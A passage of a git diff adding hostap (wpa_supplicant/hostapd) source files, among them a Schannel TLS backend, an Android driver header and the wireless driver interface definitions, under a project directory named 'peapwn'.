global->sspi->FreeContextBuffer(inbufs[1].pvBuffer); + inbufs[1].pvBuffer = NULL; + } + break; + case SEC_I_INCOMPLETE_CREDENTIALS: + wpa_printf(MSG_DEBUG, + "Schannel: SEC_I_INCOMPLETE_CREDENTIALS"); + break; + case SEC_E_WRONG_PRINCIPAL: + wpa_printf(MSG_DEBUG, "Schannel: SEC_E_WRONG_PRINCIPAL"); + break; + case SEC_E_INTERNAL_ERROR: + wpa_printf(MSG_DEBUG, "Schannel: SEC_E_INTERNAL_ERROR"); + break; + } + + if (FAILED(status)) { + wpa_printf(MSG_DEBUG, "Schannel: Handshake failed " + "(out_buf=%p)", out_buf); + conn->failed++; + global->sspi->DeleteSecurityContext(&conn->context); + return out_buf; + } + + if (inbufs[1].BufferType == SECBUFFER_EXTRA) { + /* TODO: Can this happen? What to do with this data? */ + wpa_hexdump(MSG_MSGDUMP, "SChannel - Leftover data", + inbufs[1].pvBuffer, inbufs[1].cbBuffer); + global->sspi->FreeContextBuffer(inbufs[1].pvBuffer); + inbufs[1].pvBuffer = NULL; + } + + return out_buf; +} + + +struct wpabuf * tls_connection_server_handshake(void *tls_ctx, + struct tls_connection *conn, + const struct wpabuf *in_data, + struct wpabuf **appl_data) +{ + return NULL; +} + + +struct wpabuf * tls_connection_encrypt(void *tls_ctx, + struct tls_connection *conn, + const struct wpabuf *in_data) +{ + struct tls_global *global = tls_ctx; + SECURITY_STATUS status; + SecBufferDesc buf; + SecBuffer bufs[4]; + SecPkgContext_StreamSizes sizes; + int i; + struct wpabuf *out; + + status = global->sspi->QueryContextAttributes(&conn->context, + SECPKG_ATTR_STREAM_SIZES, + &sizes); + if (status != SEC_E_OK) { + wpa_printf(MSG_DEBUG, "%s: QueryContextAttributes failed", + __func__); + return NULL; + } + wpa_printf(MSG_DEBUG, "%s: Stream sizes: header=%u trailer=%u", + __func__, + (unsigned int) sizes.cbHeader, + (unsigned int) sizes.cbTrailer); + + out = wpabuf_alloc(sizes.cbHeader + wpabuf_len(in_data) + + sizes.cbTrailer); + + os_memset(&bufs, 0, sizeof(bufs)); + bufs[0].pvBuffer = wpabuf_put(out, sizes.cbHeader); + bufs[0].cbBuffer = sizes.cbHeader; + bufs[0].BufferType = SECBUFFER_STREAM_HEADER; + + bufs[1].pvBuffer = wpabuf_put(out, 0); + wpabuf_put_buf(out, in_data); + bufs[1].cbBuffer = wpabuf_len(in_data); + bufs[1].BufferType = SECBUFFER_DATA; + + bufs[2].pvBuffer = wpabuf_put(out, sizes.cbTrailer); + bufs[2].cbBuffer = sizes.cbTrailer; + bufs[2].BufferType = SECBUFFER_STREAM_TRAILER; + + buf.ulVersion = SECBUFFER_VERSION; + buf.cBuffers = 3; + buf.pBuffers = bufs; + + status = global->sspi->EncryptMessage(&conn->context, 0, &buf, 0); + + wpa_printf(MSG_MSGDUMP, "Schannel: EncryptMessage -> " + "status=%d len[0]=%d type[0]=%d len[1]=%d type[1]=%d " + "len[2]=%d type[2]=%d", + (int) status, + (int) bufs[0].cbBuffer, (int) bufs[0].BufferType, + (int) bufs[1].cbBuffer, (int) bufs[1].BufferType, + (int) bufs[2].cbBuffer, (int) bufs[2].BufferType); + wpa_printf(MSG_MSGDUMP, "Schannel: EncryptMessage pointers: " + "out_data=%p bufs %p %p %p", + wpabuf_head(out), bufs[0].pvBuffer, bufs[1].pvBuffer, + bufs[2].pvBuffer); + + for (i = 0; i < 3; i++) { + if (bufs[i].pvBuffer && bufs[i].BufferType != SECBUFFER_EMPTY) + { + wpa_hexdump(MSG_MSGDUMP, "SChannel: bufs", + bufs[i].pvBuffer, bufs[i].cbBuffer); + } + } + + if (status == SEC_E_OK) { + wpa_printf(MSG_DEBUG, "%s: SEC_E_OK", __func__); + wpa_hexdump_buf_key(MSG_MSGDUMP, "Schannel: Encrypted data " + "from EncryptMessage", out); + return out; + } + + wpa_printf(MSG_DEBUG, "%s: Failed - status=%d", + __func__, (int) status); + wpabuf_free(out); + return NULL; +} + + +struct wpabuf * tls_connection_decrypt(void *tls_ctx, + struct tls_connection *conn, + const struct wpabuf *in_data) +{ + struct tls_global *global = tls_ctx; + SECURITY_STATUS status; + SecBufferDesc buf; + SecBuffer bufs[4]; + int i; + struct wpabuf *out, *tmp; + + wpa_hexdump_buf(MSG_MSGDUMP, + "Schannel: Encrypted data to DecryptMessage", in_data); + os_memset(&bufs, 0, sizeof(bufs)); + tmp = wpabuf_dup(in_data); + if (tmp == NULL) + return NULL; + bufs[0].pvBuffer = wpabuf_mhead(tmp); + bufs[0].cbBuffer = wpabuf_len(in_data); + bufs[0].BufferType = SECBUFFER_DATA; + + bufs[1].BufferType = SECBUFFER_EMPTY; + bufs[2].BufferType = SECBUFFER_EMPTY; + bufs[3].BufferType = SECBUFFER_EMPTY; + + buf.ulVersion = SECBUFFER_VERSION; + buf.cBuffers = 4; + buf.pBuffers = bufs; + + status = global->sspi->DecryptMessage(&conn->context, &buf, 0, + NULL); + wpa_printf(MSG_MSGDUMP, "Schannel: DecryptMessage -> " + "status=%d len[0]=%d type[0]=%d len[1]=%d type[1]=%d " + "len[2]=%d type[2]=%d len[3]=%d type[3]=%d", + (int) status, + (int) bufs[0].cbBuffer, (int) bufs[0].BufferType, + (int) bufs[1].cbBuffer, (int) bufs[1].BufferType, + (int) bufs[2].cbBuffer, (int) bufs[2].BufferType, + (int) bufs[3].cbBuffer, (int) bufs[3].BufferType); + wpa_printf(MSG_MSGDUMP, "Schannel: DecryptMessage pointers: " + "out_data=%p bufs %p %p %p %p", + wpabuf_head(tmp), bufs[0].pvBuffer, bufs[1].pvBuffer, + bufs[2].pvBuffer, bufs[3].pvBuffer); + + switch (status) { + case SEC_E_INCOMPLETE_MESSAGE: + wpa_printf(MSG_DEBUG, "%s: SEC_E_INCOMPLETE_MESSAGE", + __func__); + break; + case SEC_E_OK: + wpa_printf(MSG_DEBUG, "%s: SEC_E_OK", __func__); + for (i = 0; i < 4; i++) { + if (bufs[i].BufferType == SECBUFFER_DATA) + break; + } + if (i == 4) { + wpa_printf(MSG_DEBUG, "%s: No output data from " + "DecryptMessage", __func__); + wpabuf_free(tmp); + return NULL; + } + wpa_hexdump_key(MSG_MSGDUMP, "Schannel: Decrypted data from " + "DecryptMessage", + bufs[i].pvBuffer, bufs[i].cbBuffer); + out = wpabuf_alloc_copy(bufs[i].pvBuffer, bufs[i].cbBuffer); + wpabuf_free(tmp); + return out; + } + + wpa_printf(MSG_DEBUG, "%s: Failed - status=%d", + __func__, (int) status); + wpabuf_free(tmp); + return NULL; +} + + +int tls_connection_resumed(void *ssl_ctx, struct tls_connection *conn) +{ + return 0; +} + + +int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn, + u8 *ciphers) +{ + return -1; +} + + +int tls_get_cipher(void *ssl_ctx, struct tls_connection *conn, + char *buf, size_t buflen) +{ + return -1; +} + + +int tls_connection_enable_workaround(void *ssl_ctx, + struct tls_connection *conn) +{ + return 0; +} + + +int tls_connection_client_hello_ext(void *ssl_ctx, struct tls_connection *conn, + int ext_type, const u8 *data, + size_t data_len) +{ + return -1; +} + + +int tls_connection_get_failed(void *ssl_ctx, struct tls_connection *conn) +{ + if (conn == NULL) + return -1; + return conn->failed; +} + + +int tls_connection_get_read_alerts(void *ssl_ctx, struct tls_connection *conn) +{ + if (conn == NULL) + return -1; + return conn->read_alerts; +} + + +int tls_connection_get_write_alerts(void *ssl_ctx, struct tls_connection *conn) +{ + if (conn == NULL) + return -1; + return conn->write_alerts; +} + + +int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn, + const struct tls_connection_params *params) +{ + struct tls_global *global = tls_ctx; + ALG_ID algs[1]; + SECURITY_STATUS status; + TimeStamp ts_expiry; + + if (conn == NULL) + return -1; + + if (global->my_cert_store == NULL && + (global->my_cert_store = CertOpenSystemStore(0, TEXT("MY"))) == + NULL) { + wpa_printf(MSG_ERROR, "%s: CertOpenSystemStore failed - 0x%x", + __func__, (unsigned int) GetLastError()); + return -1; + } + + os_memset(&conn->schannel_cred, 0, sizeof(conn->schannel_cred)); + conn->schannel_cred.dwVersion = SCHANNEL_CRED_VERSION; + conn->schannel_cred.grbitEnabledProtocols = SP_PROT_TLS1; + algs[0] = CALG_RSA_KEYX; + conn->schannel_cred.cSupportedAlgs = 1; + conn->schannel_cred.palgSupportedAlgs = algs; + conn->schannel_cred.dwFlags |= SCH_CRED_NO_DEFAULT_CREDS; +#ifdef UNICODE + status = global->sspi->AcquireCredentialsHandleW( + NULL, UNISP_NAME_W, SECPKG_CRED_OUTBOUND, NULL, + &conn->schannel_cred, NULL, NULL, &conn->creds, &ts_expiry); +#else /* UNICODE */ + status = global->sspi->AcquireCredentialsHandleA( + NULL, UNISP_NAME_A, SECPKG_CRED_OUTBOUND, NULL, + &conn->schannel_cred, NULL, NULL, &conn->creds, &ts_expiry); +#endif /* UNICODE */ + if (status != SEC_E_OK) { + wpa_printf(MSG_DEBUG, "%s: AcquireCredentialsHandleA failed - " + "0x%x", __func__, (unsigned int) status); + return -1; + } + + return 0; +} + + +unsigned int tls_capabilities(void *tls_ctx) +{ + return 0; +} diff --git a/peapwn/mods/hostap/src/drivers/.gitignore b/peapwn/mods/hostap/src/drivers/.gitignore new file mode 100644 index 000000000..1d9e0e661 --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/.gitignore @@ -0,0 +1,2 @@ +build.wpa_supplicant +build.hostapd diff --git a/peapwn/mods/hostap/src/drivers/Makefile b/peapwn/mods/hostap/src/drivers/Makefile new file mode 100644 index 000000000..572115401 --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/Makefile @@ -0,0 +1,9 @@ +all: + @echo Nothing to be made. + +clean: + rm -f *~ *.o *.d *.gcno *.gcda *.gcov + rm -f build.wpa_supplicant build.hostapd + +install: + @echo Nothing to be made. diff --git a/peapwn/mods/hostap/src/drivers/android_drv.h b/peapwn/mods/hostap/src/drivers/android_drv.h new file mode 100644 index 000000000..5906527a0 --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/android_drv.h @@ -0,0 +1,60 @@ +/* + * Android driver interface + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + * + * Alternatively, this software may be distributed under the terms of BSD + * license. + */ + +#ifndef ANDROID_DRV_H +#define ANDROID_DRV_H + +#define WPA_EVENT_DRIVER_STATE "CTRL-EVENT-DRIVER-STATE " + +#define MAX_SSID_LEN 32 + +#define MAX_DRV_CMD_SIZE 248 +#define DRV_NUMBER_SEQUENTIAL_ERRORS 4 + +#define WEXT_PNOSETUP_HEADER "PNOSETUP " +#define WEXT_PNOSETUP_HEADER_SIZE 9 +#define WEXT_PNO_TLV_PREFIX 'S' +#define WEXT_PNO_TLV_VERSION '1' +#define WEXT_PNO_TLV_SUBVERSION '2' +#define WEXT_PNO_TLV_RESERVED '0' +#define WEXT_PNO_VERSION_SIZE 4 +#define WEXT_PNO_AMOUNT 16 +#define WEXT_PNO_SSID_SECTION 'S' +/* SSID header size is SSID section type above + SSID length */ +#define WEXT_PNO_SSID_HEADER_SIZE 2 +#define WEXT_PNO_SCAN_INTERVAL_SECTION 'T' +#define WEXT_PNO_SCAN_INTERVAL_LENGTH 2 +#define WEXT_PNO_SCAN_INTERVAL 30 +/* Scan interval size is scan interval section type + scan interval length + * above */ +#define WEXT_PNO_SCAN_INTERVAL_SIZE (1 + WEXT_PNO_SCAN_INTERVAL_LENGTH) +#define WEXT_PNO_REPEAT_SECTION 'R' +#define WEXT_PNO_REPEAT_LENGTH 1 +#define WEXT_PNO_REPEAT 4 +/* Repeat section size is Repeat section type + Repeat value length above */ +#define WEXT_PNO_REPEAT_SIZE (1 + WEXT_PNO_REPEAT_LENGTH) +#define WEXT_PNO_MAX_REPEAT_SECTION 'M' +#define WEXT_PNO_MAX_REPEAT_LENGTH 1 +#define WEXT_PNO_MAX_REPEAT 3 +/* Max Repeat section size is Max Repeat section type + Max Repeat value length + * above */ +#define WEXT_PNO_MAX_REPEAT_SIZE (1 + WEXT_PNO_MAX_REPEAT_LENGTH) +/* This corresponds to the size of all sections expect SSIDs */ +#define WEXT_PNO_NONSSID_SECTIONS_SIZE \ +(WEXT_PNO_SCAN_INTERVAL_SIZE + WEXT_PNO_REPEAT_SIZE + WEXT_PNO_MAX_REPEAT_SIZE) +/* PNO Max command size is total of header, version, ssid and other sections + + * Null termination */ +#define WEXT_PNO_MAX_COMMAND_SIZE \ + (WEXT_PNOSETUP_HEADER_SIZE + WEXT_PNO_VERSION_SIZE \ + + WEXT_PNO_AMOUNT * (WEXT_PNO_SSID_HEADER_SIZE + MAX_SSID_LEN) \ + + WEXT_PNO_NONSSID_SECTIONS_SIZE + 1) + +#endif /* ANDROID_DRV_H */ diff --git a/peapwn/mods/hostap/src/drivers/driver.h b/peapwn/mods/hostap/src/drivers/driver.h new file mode 100644 index 000000000..3502eb805 --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/driver.h @@ -0,0 +1,4140 @@ +/* + * Driver interface definition + * Copyright (c) 2003-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + * + * This file defines a driver interface used by both %wpa_supplicant and + * hostapd. The first part of the file defines data structures used in various + * driver operations. This is followed by the struct wpa_driver_ops that each + * driver wrapper will beed to define with callback functions for requesting + * driver operations. After this, there are definitions for driver event + * reporting with wpa_supplicant_event() and some convenience helper functions + * that can be used to report events. + */ + +#ifndef DRIVER_H +#define DRIVER_H + +#define WPA_SUPPLICANT_DRIVER_VERSION 4 + +#include "common/defs.h" +#include "utils/list.h" + +#define HOSTAPD_CHAN_DISABLED 0x00000001 +#define HOSTAPD_CHAN_PASSIVE_SCAN 0x00000002 +#define HOSTAPD_CHAN_NO_IBSS 0x00000004 +#define HOSTAPD_CHAN_RADAR 0x00000008 +#define HOSTAPD_CHAN_HT40PLUS 0x00000010 +#define HOSTAPD_CHAN_HT40MINUS 0x00000020 +#define HOSTAPD_CHAN_HT40 0x00000040 +#define HOSTAPD_CHAN_SURVEY_LIST_INITIALIZED 0x00000080 + +#define HOSTAPD_CHAN_DFS_UNKNOWN 0x00000000 +#define HOSTAPD_CHAN_DFS_USABLE 0x00000100 +#define HOSTAPD_CHAN_DFS_UNAVAILABLE 0x00000200 +#define HOSTAPD_CHAN_DFS_AVAILABLE 0x00000300 +#define HOSTAPD_CHAN_DFS_MASK 0x00000300 + +#define HOSTAPD_CHAN_VHT_10_70 0x00000800 +#define HOSTAPD_CHAN_VHT_30_50 0x00001000 +#define HOSTAPD_CHAN_VHT_50_30 0x00002000 +#define HOSTAPD_CHAN_VHT_70_10 0x00004000 + +enum reg_change_initiator { + REGDOM_SET_BY_CORE, + REGDOM_SET_BY_USER, + REGDOM_SET_BY_DRIVER, + REGDOM_SET_BY_COUNTRY_IE, +}; + +/** + * struct hostapd_channel_data - Channel information + */ +struct hostapd_channel_data { + /** + * chan - Channel number (IEEE 802.11) + */ + short chan; + + /** + * freq - Frequency in MHz + */ + int freq; + + /** + * flag - Channel flags (HOSTAPD_CHAN_*) + */ + int flag; + + /** + * max_tx_power - Regulatory transmit power limit in dBm + */ + u8 max_tx_power; + + /* + * survey_list - Linked list of surveys + */ + struct dl_list survey_list; + + /** + * min_nf - Minimum observed noise floor, in dBm, based on all + * surveyed channel data + */ + s8 min_nf; + +#ifdef CONFIG_ACS + /** + * interference_factor - Computed interference factor on this + * channel (used internally in src/ap/acs.c; driver wrappers do not + * need to set this) + */ + long double interference_factor; +#endif /* CONFIG_ACS */ +}; + +#define HOSTAPD_MODE_FLAG_HT_INFO_KNOWN BIT(0) +#define HOSTAPD_MODE_FLAG_VHT_INFO_KNOWN BIT(1) + +/** + * struct hostapd_hw_modes - Supported hardware mode information + */ +struct hostapd_hw_modes { + /** + * mode - Hardware mode + */ + enum hostapd_hw_mode mode; + + /** + * num_channels - Number of entries in the channels array + */ + int num_channels; + + /** + * channels - Array of supported channels + */ + struct hostapd_channel_data *channels; + + /** + * num_rates - Number of entries in the rates array + */ + int num_rates; + + /** + * rates - Array of supported rates in 100 kbps units + */ + int *rates; + + /** + * ht_capab - HT (IEEE 802.11n) capabilities + */ + u16 ht_capab; + + /** + * mcs_set - MCS (IEEE 802.11n) rate parameters + */ + u8 mcs_set[16]; + + /** + * a_mpdu_params - A-MPDU (IEEE 802.11n) parameters + */ + u8 a_mpdu_params; + + /** + * vht_capab - VHT (IEEE 802.11ac) capabilities + */ + u32 vht_capab; + + /** + * vht_mcs_set - VHT MCS (IEEE 802.11ac) rate parameters + */ + u8 vht_mcs_set[8]; + + unsigned int flags; /* HOSTAPD_MODE_FLAG_* */ +}; + + +#define IEEE80211_MODE_INFRA 0 +#define IEEE80211_MODE_IBSS 1 +#define IEEE80211_MODE_AP 2 + +#define IEEE80211_CAP_ESS 0x0001 +#define IEEE80211_CAP_IBSS 0x0002 +#define IEEE80211_CAP_PRIVACY 0x0010 + +/* DMG (60 GHz) IEEE 802.11ad */ +/* type - bits 0..1 */ +#define IEEE80211_CAP_DMG_MASK 0x0003 +#define IEEE80211_CAP_DMG_IBSS 0x0001 /* Tx by: STA */ +#define IEEE80211_CAP_DMG_PBSS 0x0002 /* Tx by: PCP */ +#define IEEE80211_CAP_DMG_AP 0x0003 /* Tx by: AP */ + +#define WPA_SCAN_QUAL_INVALID BIT(0) +#define WPA_SCAN_NOISE_INVALID BIT(1) +#define WPA_SCAN_LEVEL_INVALID BIT(2) +#define WPA_SCAN_LEVEL_DBM BIT(3) +#define WPA_SCAN_AUTHENTICATED BIT(4) +#define WPA_SCAN_ASSOCIATED BIT(5) + +/** + * struct wpa_scan_res - Scan result for an BSS/IBSS + * @flags: information flags about the BSS/IBSS (WPA_SCAN_*) + * @bssid: BSSID + * @freq: frequency of the channel in MHz (e.g., 2412 = channel 1) + * @beacon_int: beacon interval in TUs (host byte order) + * @caps: capability information field in host byte order + * @qual: signal quality + * @noise: noise level + * @level: signal level + * @tsf: Timestamp + * @age: Age of the information in milliseconds (i.e., how many milliseconds + * ago the last Beacon or Probe Response frame was received) + * @ie_len: length of the following IE field in octets + * @beacon_ie_len: length of the following Beacon IE field in octets + * + * This structure is used as a generic format for scan results from the + * driver. Each driver interface implementation is responsible for converting + * the driver or OS specific scan results into this format. + * + * If the driver does not support reporting all IEs, the IE data structure is + * constructed of the IEs that are available. This field will also need to + * include SSID in IE format. All drivers are encouraged to be extended to + * report all IEs to make it easier to support future additions. + */ +struct wpa_scan_res { + unsigned int flags; + u8 bssid[ETH_ALEN]; + int freq; + u16 beacon_int; + u16 caps; + int qual; + int noise; + int level; + u64 tsf; + unsigned int age; + size_t ie_len; + size_t beacon_ie_len; + /* + * Followed by ie_len octets of IEs from Probe Response frame (or if + * the driver does not indicate source of IEs, these may also be from + * Beacon frame). After the first set of IEs, another set of IEs may + * follow (with beacon_ie_len octets of data) if the driver provides + * both IE sets. + */ +}; + +/** + * struct wpa_scan_results - Scan results + * @res: Array of pointers to allocated variable length scan result entries + * @num: Number of entries in the scan result array + * @fetch_time: Time when the results were fetched from the driver + */ +struct wpa_scan_results { + struct wpa_scan_res **res; + size_t num; + struct os_time fetch_time; +}; + +/** + * struct wpa_interface_info - Network interface information + * @next: Pointer to the next interface or NULL if this is the last one + * @ifname: Interface name that can be used with init() or init2() + * @desc: Human readable adapter description (e.g., vendor/model) or NULL if + * not available + * @drv_name: struct wpa_driver_ops::name (note: unlike other strings, this one + * is not an allocated copy, i.e., get_interfaces() caller will not free + * this) + */ +struct wpa_interface_info { + struct wpa_interface_info *next; + char *ifname; + char *desc; + const char *drv_name; +}; + +#define WPAS_MAX_SCAN_SSIDS 16 + +/** + * struct wpa_driver_scan_params - Scan parameters + * Data for struct wpa_driver_ops::scan2(). + */ +struct wpa_driver_scan_params { + /** + * ssids - SSIDs to scan for + */ + struct wpa_driver_scan_ssid { + /** + * ssid - specific SSID to scan for (ProbeReq) + * %NULL or zero-length SSID is used to indicate active scan + * with wildcard SSID. + */ + const u8 *ssid; + /** + * ssid_len: Length of the SSID in octets + */ + size_t ssid_len; + } ssids[WPAS_MAX_SCAN_SSIDS]; + + /** + * num_ssids - Number of entries in ssids array + * Zero indicates a request for a passive scan. + */ + size_t num_ssids; + + /** + * extra_ies - Extra IE(s) to add into Probe Request or %NULL + */ + const u8 *extra_ies; + + /** + * extra_ies_len - Length of extra_ies in octets + */ + size_t extra_ies_len; + + /** + * freqs - Array of frequencies to scan or %NULL for all frequencies + * + * The frequency is set in MHz. The array is zero-terminated. + */ + int *freqs; + + /** + * filter_ssids - Filter for reporting SSIDs + * + * This optional parameter can be used to request the driver wrapper to + * filter scan results to include only the specified SSIDs. %NULL + * indicates that no filtering is to be done. This can be used to + * reduce memory needs for scan results in environments that have large + * number of APs with different SSIDs. + * + * The driver wrapper is allowed to take this allocated buffer into its + * own use by setting the pointer to %NULL. In that case, the driver + * wrapper is responsible for freeing the buffer with os_free() once it + * is not needed anymore. + */ + struct wpa_driver_scan_filter { + u8 ssid[32]; + size_t ssid_len; + } *filter_ssids; + + /** + * num_filter_ssids - Number of entries in filter_ssids array + */ + size_t num_filter_ssids; + + /** + * filter_rssi - Filter by RSSI + * + * The driver may filter scan results in firmware to reduce host + * wakeups and thereby save power. Specify the RSSI threshold in s32 + * dBm. + */ + s32 filter_rssi; + + /** + * p2p_probe - Used to disable CCK (802.11b) rates for P2P probes + * + * When set, the driver is expected to remove rates 1, 2, 5.5, and 11 + * Mbps from the support rates element(s) in the Probe Request frames + * and not to transmit the frames at any of those rates. + */ + u8 p2p_probe; +}; + +/** + * struct wpa_driver_auth_params - Authentication parameters + * Data for struct wpa_driver_ops::authenticate(). + */ +struct wpa_driver_auth_params { + int freq; + const u8 *bssid; + const u8 *ssid; + size_t ssid_len; + int auth_alg; + const u8 *ie; + size_t ie_len; + const u8 *wep_key[4]; + size_t wep_key_len[4]; + int wep_tx_keyidx; + int local_state_change; + + /** + * p2p - Whether this connection is a P2P group + */ + int p2p; + + const u8 *sae_data; + size_t sae_data_len; + +}; + +enum wps_mode { + WPS_MODE_NONE /* no WPS provisioning being used */, + WPS_MODE_OPEN /* WPS provisioning with AP that is in open mode */, + WPS_MODE_PRIVACY /* WPS provisioning with AP that is using protection + */ +}; + +/** + * struct wpa_driver_associate_params - Association parameters + * Data for struct wpa_driver_ops::associate(). + */ +struct wpa_driver_associate_params { + /** + * bssid - BSSID of the selected AP + * This can be %NULL, if ap_scan=2 mode is used and the driver is + * responsible for selecting with which BSS to associate. */ + const u8 *bssid; + + /** + * ssid - The selected SSID + */ + const u8 *ssid; + + /** + * ssid_len - Length of the SSID (1..32) + */ + size_t ssid_len; + + /** + * freq - Frequency of the channel the selected AP is using + * Frequency that the selected AP is using (in MHz as + * reported in the scan results) + */ + int freq; + + /** + * bg_scan_period - Background scan period in seconds, 0 to disable + * background scan, or -1 to indicate no change to default driver + * configuration + */ + int bg_scan_period; + + /** + * wpa_ie - WPA information element for (Re)Association Request + * WPA information element to be included in (Re)Association + * Request (including information element id and length). Use + * of this WPA IE is optional. If the driver generates the WPA + * IE, it can use pairwise_suite, group_suite, and + * key_mgmt_suite to select proper algorithms. In this case, + * the driver has to notify wpa_supplicant about the used WPA + * IE by generating an event that the interface code will + * convert into EVENT_ASSOCINFO data (see below). + * + * When using WPA2/IEEE 802.11i, wpa_ie is used for RSN IE + * instead. The driver can determine which version is used by + * looking at the first byte of the IE (0xdd for WPA, 0x30 for + * WPA2/RSN). + * + * When using WPS, wpa_ie is used for WPS IE instead of WPA/RSN IE. + */ + const u8 *wpa_ie; + + /** + * wpa_ie_len - length of the wpa_ie + */ + size_t wpa_ie_len; + + /** + * wpa_proto - Bitfield of WPA_PROTO_* values to indicate WPA/WPA2 + */ + unsigned int wpa_proto; + + /** + * pairwise_suite - Selected pairwise cipher suite + * + * This is usually ignored if @wpa_ie is used. + */ + enum wpa_cipher pairwise_suite; + + /** + * group_suite - Selected group cipher suite + * + * This is usually ignored if @wpa_ie is used. + */ + enum wpa_cipher group_suite; + + /** + * key_mgmt_suite - Selected key management suite + * + * This is usually ignored if @wpa_ie is used. + */ + enum wpa_key_mgmt key_mgmt_suite; + + /** + * auth_alg - Allowed authentication algorithms + * Bit field of WPA_AUTH_ALG_* + */ + int auth_alg; + + /** + * mode - Operation mode (infra/ibss) IEEE80211_MODE_* + */ + int mode; + + /** + * wep_key - WEP keys for static WEP configuration + */ + const u8 *wep_key[4]; + + /** + * wep_key_len - WEP key length for static WEP configuration + */ + size_t wep_key_len[4]; + + /** + * wep_tx_keyidx - WEP TX key index for static WEP configuration + */ + int wep_tx_keyidx; + + /** + * mgmt_frame_protection - IEEE 802.11w management frame protection + */ + enum mfp_options mgmt_frame_protection; + + /** + * ft_ies - IEEE 802.11r / FT information elements + * If the supplicant is using IEEE 802.11r (FT) and has the needed keys + * for fast transition, this parameter is set to include the IEs that + * are to be sent in the next FT Authentication Request message. + * update_ft_ies() handler is called to update the IEs for further + * FT messages in the sequence. + * + * The driver should use these IEs only if the target AP is advertising + * the same mobility domain as the one included in the MDIE here. + * + * In ap_scan=2 mode, the driver can use these IEs when moving to a new + * AP after the initial association. These IEs can only be used if the + * target AP is advertising support for FT and is using the same MDIE + * and SSID as the current AP. + * + * The driver is responsible for reporting the FT IEs received from the + * AP's response using wpa_supplicant_event() with EVENT_FT_RESPONSE + * type. update_ft_ies() handler will then be called with the FT IEs to + * include in the next frame in the authentication sequence. + */ + const u8 *ft_ies; + + /** + * ft_ies_len - Length of ft_ies in bytes + */ + size_t ft_ies_len; + + /** + * ft_md - FT Mobility domain (6 octets) (also included inside ft_ies) + * + * This value is provided to allow the driver interface easier access + * to the current mobility domain. This value is set to %NULL if no + * mobility domain is currently active. + */ + const u8 *ft_md; + + /** + * passphrase - RSN passphrase for PSK + * + * This value is made available only for WPA/WPA2-Personal (PSK) and + * only for drivers that set WPA_DRIVER_FLAGS_4WAY_HANDSHAKE. This is + * the 8..63 character ASCII passphrase, if available. Please note that + * this can be %NULL if passphrase was not used to generate the PSK. In + * that case, the psk field must be used to fetch the PSK. + */ + const char *passphrase; + + /** + * psk - RSN PSK (alternative for passphrase for PSK) + * + * This value is made available only for WPA/WPA2-Personal (PSK) and + * only for drivers that set WPA_DRIVER_FLAGS_4WAY_HANDSHAKE. This is + * the 32-octet (256-bit) PSK, if available. The driver wrapper should + * be prepared to handle %NULL value as an error. + */ + const u8 *psk; + + /** + * drop_unencrypted - Enable/disable unencrypted frame filtering + * + * Configure the driver to drop all non-EAPOL frames (both receive and + * transmit paths). Unencrypted EAPOL frames (ethertype 0x888e) must + * still be allowed for key negotiation. + */ + int drop_unencrypted; + + /** + * prev_bssid - Previously used BSSID in this ESS + * + * When not %NULL, this is a request to use reassociation instead of + * association. + */ + const u8 *prev_bssid; + + /** + * wps - WPS mode + * + * If the driver needs to do special configuration for WPS association, + * this variable provides more information on what type of association + * is being requested. Most drivers should not need ot use this. + */ + enum wps_mode wps; + + /** + * p2p - Whether this connection is a P2P group + */ + int p2p; + + /** + * uapsd - UAPSD parameters for the network + * -1 = do not change defaults + * AP mode: 1 = enabled, 0 = disabled + * STA mode: bits 0..3 UAPSD enabled for VO,VI,BK,BE + */ + int uapsd; + + /** + * fixed_bssid - Whether to force this BSSID in IBSS mode + * 1 = Fix this BSSID and prevent merges. + * 0 = Do not fix BSSID. + */ + int fixed_bssid; + + /** + * disable_ht - Disable HT (IEEE 802.11n) for this connection + */ + int disable_ht; + + /** + * HT Capabilities over-rides. Only bits set in the mask will be used, + * and not all values are used by the kernel anyway. Currently, MCS, + * MPDU and MSDU fields are used. + */ + const u8 *htcaps; /* struct ieee80211_ht_capabilities * */ + const u8 *htcaps_mask; /* struct ieee80211_ht_capabilities * */ + +#ifdef CONFIG_VHT_OVERRIDES + /** + * disable_vht - Disable VHT for this connection + */ + int disable_vht; + + /** + * VHT capability overrides. + */ + const struct ieee80211_vht_capabilities *vhtcaps; + const struct ieee80211_vht_capabilities *vhtcaps_mask; +#endif /* CONFIG_VHT_OVERRIDES */ +}; + +enum hide_ssid { + NO_SSID_HIDING, + HIDDEN_SSID_ZERO_LEN, + HIDDEN_SSID_ZERO_CONTENTS +}; + +struct wpa_driver_ap_params { + /** + * head - Beacon head from IEEE 802.11 header to IEs before TIM IE + */ + u8 *head; + + /** + * head_len - Length of the head buffer in octets + */ + size_t head_len; + + /** + * tail - Beacon tail following TIM IE + */ + u8 *tail; + + /** + * tail_len - Length of the tail buffer in octets + */ + size_t tail_len; + + /** + * dtim_period - DTIM period + */ + int dtim_period; + + /** + * beacon_int - Beacon interval + */ + int beacon_int; + + /** + * basic_rates: -1 terminated array of basic rates in 100 kbps + * + * This parameter can be used to set a specific basic rate set for the + * BSS. If %NULL, default basic rate set is used. + */ + int *basic_rates; + + /** + * proberesp - Probe Response template + * + * This is used by drivers that reply to Probe Requests internally in + * AP mode and require the full Probe Response template. + */ + u8 *proberesp; + + /** + * proberesp_len - Length of the proberesp buffer in octets + */ + size_t proberesp_len; + + /** + * ssid - The SSID to use in Beacon/Probe Response frames + */ + const u8 *ssid; + + /** + * ssid_len - Length of the SSID (1..32) + */ + size_t ssid_len; + + /** + * hide_ssid - Whether to hide the SSID + */ + enum hide_ssid hide_ssid; + + /** + * pairwise_ciphers - WPA_CIPHER_* bitfield + */ + unsigned int pairwise_ciphers; + + /** + * group_cipher - WPA_CIPHER_* + */ + unsigned int group_cipher; + + /** + * key_mgmt_suites - WPA_KEY_MGMT_* bitfield + */ + unsigned int key_mgmt_suites; + + /** + * auth_algs - WPA_AUTH_ALG_* bitfield + */ + unsigned int auth_algs; + + /** + * wpa_version - WPA_PROTO_* bitfield + */ + unsigned int wpa_version; + + /** + * privacy - 